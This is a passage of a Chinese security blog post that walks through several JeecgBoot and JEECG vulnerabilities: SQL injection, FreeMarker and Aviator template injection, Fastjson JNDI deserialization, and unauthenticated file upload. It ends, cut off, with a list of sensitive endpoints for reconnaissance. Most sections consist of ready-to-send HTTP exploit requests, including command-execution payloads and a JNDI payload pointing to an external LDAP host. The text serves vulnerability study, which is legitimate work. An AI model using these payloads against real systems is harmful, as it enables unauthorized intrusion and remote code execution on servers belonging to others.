SQL注入</h2>\n<p>该漏洞是<code>JeecgBoot</code>里“重复值校验接口”产生的SQL注入问题，包括<code>CVE-2022-45206</code>和后续绕过/变体<code>CVE-2023-37805</code></p>\n<p><code>/sys/duplicaye/check</code>接口的作用是检查某张表里的字段的值是否重复</p>\n<p>比如后台新增用户时，要判断用户名是否已经存在，前端可能会让后端检查：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>tableName = sys_user</span></span>\n<span class=\"line\"><span>fieldName = username</span></span>\n<span class=\"line\"><span>fieldVal  = admin</span></span>\n<span class=\"line\"><span>dataId    = 当前编辑数据的 id，可选</span></span></code></pre>\n<p>后端正常逻辑大概是<code>select count(*) from 某张表 where 某字段 = 某个值</code>，如果<code>count &gt; 0</code>就说明重复，如果<code>count = 0</code>说明可用</p>\n<p>其中<code>tableName</code>和<code>fieldName</code>属于SQL结构的一部分，后端如果把他们直接拼进SQL就会出现：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>select count(*) from $&#123;tableName&#125; where $&#123;fieldName&#125; = #&#123;fieldVal&#125;</span></span></code></pre>\n<p>这里即使<code>fieldVal</code>使用了预编译，但<code>tableName</code>和<code>fieldName</code>没有严格白名单校验，仍然可以控制SQL结构，在<code>JeecgBoot 3.5.0</code>中的<code>/sys/duplicate/check</code>接口中存在SQL注入，<code>checksql</code>可以被绕过</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&#x26;fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&#x26;fieldVal=1&#x26;dataId=asd HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate</span></span>\n<span class=\"line\"><span>Accept: */*</span></span>\n<span class=\"line\"><span>Accept-Language: en-US;q=0.9,en;q=0.8</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Cache-Control: max-age=0</span></span>\n<span class=\"line\"><span>X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>GET /jeecg-boot/sys/duplicate/check?tableName=sys_log&#x26;fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))&#x26;fieldVal=1000&#x26;dataId=2000 HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate</span></span>\n<span class=\"line\"><span>Accept: */*</span></span>\n<span class=\"line\"><span>Accept-Language: en-US;q=0.9,en;q=0.8</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Cache-Control: max-age=0</span></span>\n<span class=\"line\"><span>X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU</span></span></code></pre>\n<h2 id=\"jeecgboot-jmreportloadtabledata-ssti模板注入漏洞\"><a class=\"anchor\" href=\"#jeecgboot-jmreportloadtabledata-ssti模板注入漏洞\">#</a> JeecgBoot jmreport/loadTableData SSTI模板注入漏洞</h2>\n<p>该漏洞一般对应<code>CVE-2023-41544</code>，它是<code>JeecgBoot</code>集成的JimuReport积木报表模块在处理报表SQL参数时，使用<code>FreeMarker</code>模版引擎解析了用户可控内容，导致服务端模板注入，严重时可发展为远程代码执行RCE。攻击者可通过构造HTTP请求访问<code>/jmreport/loadTableData</code>组件执行任意代码</p>\n<p><code>/jmreport/loadTableData</code>接口属于<code>JimuReport</code>积木报表的数据加载接口，正常情况下报表设计器里会配置数据源、SQL、表名、分页参数等信息，前端请求<code>/jmreport/loadTableData</code>之后后端根据这些参数去加载报表数据</p>\n<p>该接口没有身份验证，且后端会使用FreeMarker处理用户传入的SQL参数，调用链中会进入<code>parseReportSql</code>，最终使用<code>FreeMarkerUtils</code>创建并处理模版，即SQL字符串会先被当做FreeMarker模版内容解析</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>POST /jeecg-boot/jmreport/loadTableData HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0</span></span>\n<span class=\"line\"><span>Accept: application/json, text/plain, */*</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate</span></span>\n<span class=\"line\"><span>Content-Type: application/json;charset=UTF-8</span></span>\n<span class=\"line\"><span>X-Sign: AD0488642A880C68C8E3551C3BE0F6F5</span></span>\n<span class=\"line\"><span>X-TIMESTAMP: 1699726206096</span></span>\n<span class=\"line\"><span>X-Access-Token: null</span></span>\n<span class=\"line\"><span>token: null</span></span>\n<span class=\"line\"><span>JmReport-Tenant-Id: null</span></span>\n<span class=\"line\"><span>Content-Length: 167</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726144; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726162</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;\"dbSource\":\"\",\"sql\":\"select '&#x3C;#assign value=\\\"freemarker.template.utility.Execute\\\"?new()>$&#123;value(\\\"whoami\\\")&#125;'\",\"tableName\":\"test_demo);\",\"pageNo\":1,\"pageSize\":10&#125;</span></span></code></pre>\n<h2 id=\"jeecgboot-aviatorscript表达式注入\"><a class=\"anchor\" href=\"#jeecgboot-aviatorscript表达式注入\">#</a> JeecgBoot AviatorScript表达式注入</h2>\n<p>该漏洞主要发生在<code>JeecgBoot</code>集成的<code>JimuReport</code>模块中，在报表单元格、文本组件或计算表达式中允许写入<code>AviatorScript</code>表达式，而后端在预览、展示报表时会解析这些表达式，如果这部分表达式内容可控就可能造成服务端执行非预期代码，严重时导致RCE</p>\n<p>其触发链可以通过<code>/jmreport/save</code>在报表文本内容里写入<code>AviatorScript</code>表达式，然后访问<code>/jmreport/show</code>触发表达式解析，从而导致命令执行</p>\n<p><strong>AviatorScript表达式</strong>：AviatorScript是Java生态中的一个表达式引擎，常用作动态计算、条件判断、公式解析，它的表达式可以包含数字、字符串、布尔值、变量、运算符、函数调用和条件判断</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 结果为7</span></span>\n<span class=\"line\"><span>AviatorEvaluator.execute(\"1 + 2 * 3\");</span></span></code></pre>\n<p>这里的<code>1+2*3</code>就是一个AviatorScript表达式，与普通的Java代码不一样的是，AviatorScript表达式可以在程序运行时从字符串中动态解析并执行，那么，如果表达式引擎具备访问Java对象、类加载、函数调用等能力，就会从公式计算变成服务端表达式执行</p>\n<p>其漏洞链路大致为：发现能访问报表保存接口之后在报表text/单元格内容中写入AviatorScript表达式，接着访问报表展示接口导致后端渲染报表触发AviatorScript解析，从而执行非预期表达式</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&#x26;jmLink=YWFhfHxiYmI=&#x26;token=123 HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0</span></span>\n<span class=\"line\"><span>Accept: application/json, text/plain, */*</span></span>\n<span class=\"line\"><span>Content-Type: application/json</span></span>\n<span class=\"line\"><span>Content-Length: 108</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;\"sql\":\"select 'result:&#x3C;#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()> $&#123;ex(\\\"whoami \\\") &#125;'\" </span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<h2 id=\"jeecg-boot后台sysmessagetemplatesendmsg接口freemaker模板注入\"><a class=\"anchor\" href=\"#jeecg-boot后台sysmessagetemplatesendmsg接口freemaker模板注入\">#</a> jeecg-boot后台/sysMessageTemplate/sendMsg接口FreeMaker模板注入</h2>\n<p>该漏洞本质是消息模版功能把用户可控的模版内容交给FreeMarker引擎解析，导致服务端可能执行非预期的模版表达式，严重时造成远程代码执行</p>\n<p><code>/sysMessageTemplate/sendMsg</code>这个接口属于JeecgBoot的系统消息模版功能，正常业务逻辑中，管理员创建消息模版，然后向模版中写入变量，调用sendMsg接口发送模版消息，最后用户就可以在站内信或者系统消息中看到最终内容</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>添加模版：/jeecg-boot/sys/message/sysMessageTemplate/add</span></span>\n<span class=\"line\"><span>发送模版：/jeecg-boot/sys/message/sysMessageTemplate/sendMsg</span></span>\n<span class=\"line\"><span>查看结果：/jeecg-boot/sys/message/sysMessage/list</span></span></code></pre>\n<p>如果模版内容能被恶意地添加或修改，再调用发送接口，就可能让后端解析恶意的FreeMarker模版</p>\n<p>之前我们提到了<code>/jmreport/loadTableData</code>SSTI，它和<code>sendMsg</code>的区别在于前者是报表SQL参数被<code>FreeMarker</code>解析，属于积木报表模块，后者属于消息模版内容被FreeMarker解析，属于系统消息模版模块</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>1、添加一个测试模板</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>POST /jeecg-boot/sys/message/sysMessageTemplate/add HTTP/1.1</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0</span></span>\n<span class=\"line\"><span>Accept: application/json, text/plain, */*</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate, br</span></span>\n<span class=\"line\"><span>X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao</span></span>\n<span class=\"line\"><span>Tenant-Id: 0</span></span>\n<span class=\"line\"><span>Sec-Fetch-Dest: empty</span></span>\n<span class=\"line\"><span>Sec-Fetch-Mode: cors</span></span>\n<span class=\"line\"><span>Sec-Fetch-Site: cross-site</span></span>\n<span class=\"line\"><span>Priority: u=0</span></span>\n<span class=\"line\"><span>Te: trailers</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Content-Type: application/json;charset=UTF-8</span></span>\n<span class=\"line\"><span>Content-Length: 141</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;\"templateType\":\"1\",\"templateCode\":\"5\",\"templateName\":\"test111\",\"templateContent\":\"$&#123;\\\"freemarker.template.utility.Execute\\\"?new()(\\\"id\\\")&#125;\"&#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>2、发送模板</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>POST /jeecg-boot/sys/message/sysMessageTemplate/sendMsg HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0</span></span>\n<span class=\"line\"><span>Accept: application/json, text/plain, */*</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate, br</span></span>\n<span class=\"line\"><span>X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao</span></span>\n<span class=\"line\"><span>Tenant-Id: 0</span></span>\n<span class=\"line\"><span>Sec-Fetch-Dest: empty</span></span>\n<span class=\"line\"><span>Sec-Fetch-Mode: cors</span></span>\n<span class=\"line\"><span>Sec-Fetch-Site: cross-site</span></span>\n<span class=\"line\"><span>Priority: u=0</span></span>\n<span class=\"line\"><span>Te: trailers</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Content-Type: application/json;charset=UTF-8</span></span>\n<span class=\"line\"><span>Content-Length: 64</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;\"templateCode\":\"5\",\"testData\":\"&#123;&#125;\",\"receiver\":\"\",\"msgType\":\"1\"&#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>3、执行模板并查看返回结果</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>GET /jeecg-boot/sys/message/sysMessage/list?_t=1732776144&#x26;column=createTime&#x26;order=desc&#x26;field=id,,,esTitle,esContent,esReceiver,esSendNum,esSendStatus_dictText,esSendTime,esType_dictText,action&#x26;pageNo=1&#x26;pageSize=10 HTTP/1.1</span></span>\n<span class=\"line\"><span>Host:</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0</span></span>\n<span class=\"line\"><span>Accept: application/json, text/plain, */*</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate, br</span></span>\n<span class=\"line\"><span>X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao</span></span>\n<span class=\"line\"><span>Tenant-Id: 0</span></span>\n<span class=\"line\"><span>Sec-Fetch-Dest: empty</span></span>\n<span class=\"line\"><span>Sec-Fetch-Mode: cors</span></span>\n<span class=\"line\"><span>Sec-Fetch-Site: cross-site</span></span>\n<span class=\"line\"><span>Priority: u=0</span></span>\n<span class=\"line\"><span>Te: trailers</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip</span></span></code></pre>\n<h2 id=\"jeecg-jeecgformdemocontroller存在jndi代码执行漏洞\"><a class=\"anchor\" href=\"#jeecg-jeecgformdemocontroller存在jndi代码执行漏洞\">#</a> Jeecg-jeecgFormDemoController存在JNDI代码执行漏洞</h2>\n<p><strong>CVE-2023-49442</strong>：<code>JEECG jeecgFormDemoController JNDI</code>代码执行漏洞，特别：Jeecg与Jeecg-Boot不是同一个应用，该漏洞主要影响<code>JEECG 4.0</code>及以前版本</p>\n<p>在<code>JEECG 4.0</code>及以前版本中，<code>jeecgFormDemoController.do?interfaceTest</code>接口存在不安全反序列化/JNDI注入风险，用户可以通过构造恶意请求让服务端通过JNDI去加载远程对象，最终可能造成远程代码执行</p>\n<p><strong>JNDI</strong>：<code>Java Naming and Directory Interface</code>，Java命名与目录接口，正常业务逻辑中是作为资源查找机制，但如果能控制JNDI查询地址，例如让服务器去查询一个外部LDAP/RMI地址，就可能诱导服务器加载恶意对象或触发危险类从而形成代码执行</p>\n<p><code>jeecgFormDemoController</code>是JEECG旧版专用的Online表单/表单演示控制器，漏洞相关接口通常写成：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>jeecgFormDemoController.do??interfaceTest</span></span></code></pre>\n<p>这个漏洞的核心大概是接口接收用户提交的数据之后后端使用存在风险的<code>Fastjson</code>版本（Fastjson 1.2.31）处理数据，导致触发不安全的反序列化，在反序列化过程中触发<code>JNDI lookup</code>，接下来服务端访问攻击者控制的远程地址导致加载恶意对象或触发恶意逻辑，最终实现远程代码执行</p>\n<p>这个漏洞经常和路径绕过问题一起出现，在JEECG 4.0及以前版本中，<code>/api</code>接口鉴权时没有正确过滤路径遍历，可以构造包含<code>../</code>的URL绕过鉴权，然后访问<code>jeecgFormDemoController.do?interfaceTest</code></p>\n<p>所以实际上在原本接口可能需要权限的条件下，<code>/api</code>鉴权逻辑可能存在路径处理问题，接下来我们就可以通过<code>../</code>绕过访问控制访问<code>interfaceTest</code>接口提交恶意反序列化数据，从而触发JDNI代码执行</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>Pragma: no-cache</span></span>\n<span class=\"line\"><span>Cache-Control: no-cache</span></span>\n<span class=\"line\"><span>Upgrade-Insecure-Requests: 1</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36</span></span>\n<span class=\"line\"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate, br</span></span>\n<span class=\"line\"><span>cmd: whoami</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.9</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Content-Type: application/x-www-form-urlencoded</span></span>\n<span class=\"line\"><span>Content-Length: 77</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>serverUrl=http://xxxxxxxx:8877/jeecg.txt&#x26;requestBody=1&#x26;requestMethod=GET</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>创建如下远程文件，其内容为fastjson代码执行的payload</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;</span></span>\n<span class=\"line\"><span>\"a\":&#123;</span></span>\n<span class=\"line\"><span>\"@type\":\"java.lang.Class\",</span></span>\n<span class=\"line\"><span>\"val\":\"com.sun.rowset.JdbcRowSetImpl\"</span></span>\n<span class=\"line\"><span>&#125;,</span></span>\n<span class=\"line\"><span>\"b\":&#123;</span></span>\n<span class=\"line\"><span>\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",</span></span>\n<span class=\"line\"><span>\"dataSourceName\":\"ldap://10.66.64.89:1389/8orsiq\",</span></span>\n<span class=\"line\"><span>\"autoCommit\":true</span></span>\n<span class=\"line\"><span>&#125;</span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<h2 id=\"jeecg-bootjmreportupload接口存在未授权任意文件上传\"><a class=\"anchor\" href=\"#jeecg-bootjmreportupload接口存在未授权任意文件上传\">#</a> jeecg-boot/jmreport/upload接口存在未授权任意文件上传</h2>\n<p><strong>CVE-2023-34660</strong>：属于JimuReport积木报表模块中的文件上传接口安全问题，本质上属于报表设计器里的上传接口没有做好访问控制和文件类型校验，导致可以上传非预期类型文件从而造成存储型XSS，常见接口是<code>jeccg-boot/jmreport/upload</code></p>\n<p>它原本是给报表设计器上传图片或资源文件使用，可通过“报表设计器-&gt;新建报表-&gt;插入图片”触发上传流程，重点影响<code>JeecgBoot 3.5.0/3.5.1</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>POST /jeecg-boot/jmreport/upload HTTP/1.1</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)</span></span>\n<span class=\"line\"><span>Accept: */*</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.9</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfyhSCMs9cajzFD4</span></span>\n<span class=\"line\"><span>Cache-Control: no-cache</span></span>\n<span class=\"line\"><span>Pragma: no-cache</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>Content-Length: 1476</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>------WebKitFormBoundaryyfyhSCMs9cajzFD4</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; name=\"file\"; filename=\"11111.txt\"</span></span>\n<span class=\"line\"><span>Content-Type: text/html</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#x3C;%! 1111></span></span>\n<span class=\"line\"><span>------WebKitFormBoundaryyfyhSCMs9cajzFD4</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; name=\"fileName\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>11111.txt</span></span>\n<span class=\"line\"><span>------WebKitFormBoundaryyfyhSCMs9cajzFD4</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; name=\"biz\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>excel_online</span></span>\n<span class=\"line\"><span>------WebKitFormBoundaryyfyhSCMs9cajzFD4--</span></span></code></pre>\n<h2 id=\"jeecg-commoncontrollerdo文件上传\"><a class=\"anchor\" href=\"#jeecg-commoncontrollerdo文件上传\">#</a> Jeecg-commonController.do文件上传</h2>\n<p><strong>CVE-2022-2647</strong>：Jeecg/JeecgBoot中某些版本的<code>commonController.do</code>上传处理接口缺少严格鉴权和文件类型限制，可能通过构造上传请求写入非预期文件，严重时可造成RCE，常见的被提到的入口为<code>/commonController.do?parserXml</code>，部分资料中会结合路径绕过写成<code>/api/../commonController.do?parserXml</code></p>\n<p>该接口的正常业务逻辑可以理解为前端上传文件之后，<code>commonController.do</code>接收<code>multipart//form-data</code>，后端解析文件内容或保存文件之后返回上传结果</p>\n<p>同样，问题的核心在于<code>/api</code>接口鉴权时没有过滤路径遍历，导致可以构造包含<code>../</code>的URL绕过鉴权，再利用<code>commonController</code>接口进行文件上传</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>POST /jeecg-boot/api/../commonController.do?parserXml HTTP/1.1</span></span>\n<span class=\"line\"><span>Host:</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate</span></span>\n<span class=\"line\"><span>Content-Length: 360</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/2.0 (compatible; MSIE 3.01; Windows 95</span></span>\n<span class=\"line\"><span>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>------WebKitFormBoundarygcflwtei</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; \"name=\"name\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>zW9YCa.png</span></span>\n<span class=\"line\"><span>------WebKitFormBoundarygcflwtei</span></span>\n<span class=\"line\"><span>ontent-Disposition: form-data; name=\"documentTitle\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>blank</span></span>\n<span class=\"line\"><span>------WebKitFormBoundarygcflwtei</span></span>\n<span class=\"line\"><span>Content-Disposition: form-data; name=\"file\"; filename=\"zW9YCa.jsp\"</span></span>\n<span class=\"line\"><span>Content-Type: image/png</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>11111</span></span>\n<span class=\"line\"><span>------WebKitFormBoundarygcflwtei--</span></span></code></pre>\n<h2 id=\"常见的jeecg-boot接口与常见的jeecg-boot漏洞利用工具\"><a class=\"anchor\" href=\"#常见的jeecg-boot接口与常见的jeecg-boot漏洞利用工具\">#</a> 常见的jeecg-boot接口与常见的jeecg-boot漏洞利用工具</h2>\n<p>在文章<a href=\"https://www.freebuf.com/articles/web/436956.html%E7%9A%84%E7%BB%93%E5%B0%BE%EF%BC%8C%E8%BF%99%E4%BD%8D%E8%80%81%E5%B8%88%E8%BF%98%E7%BB%99%E5%87%BA%E4%BA%86%E4%B8%80%E4%BA%9B%E5%B8%B8%E8%A7%81%E7%9A%84jeecg-boot%E6%8E%A5%E5%8F%A3%E5%92%8C%E5%B8%B8%E8%A7%81%E7%9A%84jeecg-boot%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7\">https://www.freebuf.com/articles/web/436956.html的结尾，这位老师还给出了一些常见的jeecg-boot接口和常见的jeecg-boot漏洞利用工具</a></p>\n<h3 id=\"jeecg-boot接口\"><a class=\"anchor\" href=\"#jeecg-boot接口\">#</a> jeecg-boot接口</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/v2/api-docs</span></span>\n<span class=\"line\"><span>/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&#x26;parentPath=/</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/user/querySysUser?username=admin</span></span>\n<span class=\"line\"><span>/jeecg/</span></span>\n<span class=\"line\"><span>/api/sys/</span></span>\n<span class=\"line\"><span>/sys/user</span></span>\n<span class=\"line\"><span>/v2/api-docs</span></span>\n<span class=\"line\"><span>/swagger-ui.html</span></span>\n<span class=\"line\"><span>/env</span></span>\n<span class=\"line\"><span>/actuator</span></span>\n<span class=\"line\"><span>/mappings</span></span>\n<span class=\"line\"><span>/metrics</span></span>\n<span class=\"line\"><span>/beans</span></span>\n<span class=\"line\"><span>/configprops</span></span>\n<span class=\"line\"><span>/actuator/metrics</span></span>\n<span class=\"line\"><span>/actuator/mappings</span></span>\n<span class=\"line\"><span>/actuator/beans</span></span>\n<span class=\"line\"><span>/actuator/configprops</span></span>\n<span class=\"line\"><span>/actuator/httptrace</span></span>\n<span class=\"line\"><span>/druid/index.html</span></span>\n<span class=\"line\"><span>/druid/sql.html</span></span>\n<span class=\"line\"><span>/druid/weburi.html</span></span>\n<span class=\"line\"><span>/druid/websession.html</span></span>\n<span class=\"line\"><span>/druid/weburi.json</span></span>\n<span class=\"line\"><span>/druid/websession.json</span></span>\n<span class=\"line\"><span>/druid/login.html</span></span>\n<span class=\"line\"><span>/api/config/list</span></span>\n<span class=\"line\"><span>/sys/user/list</span></span>\n<span 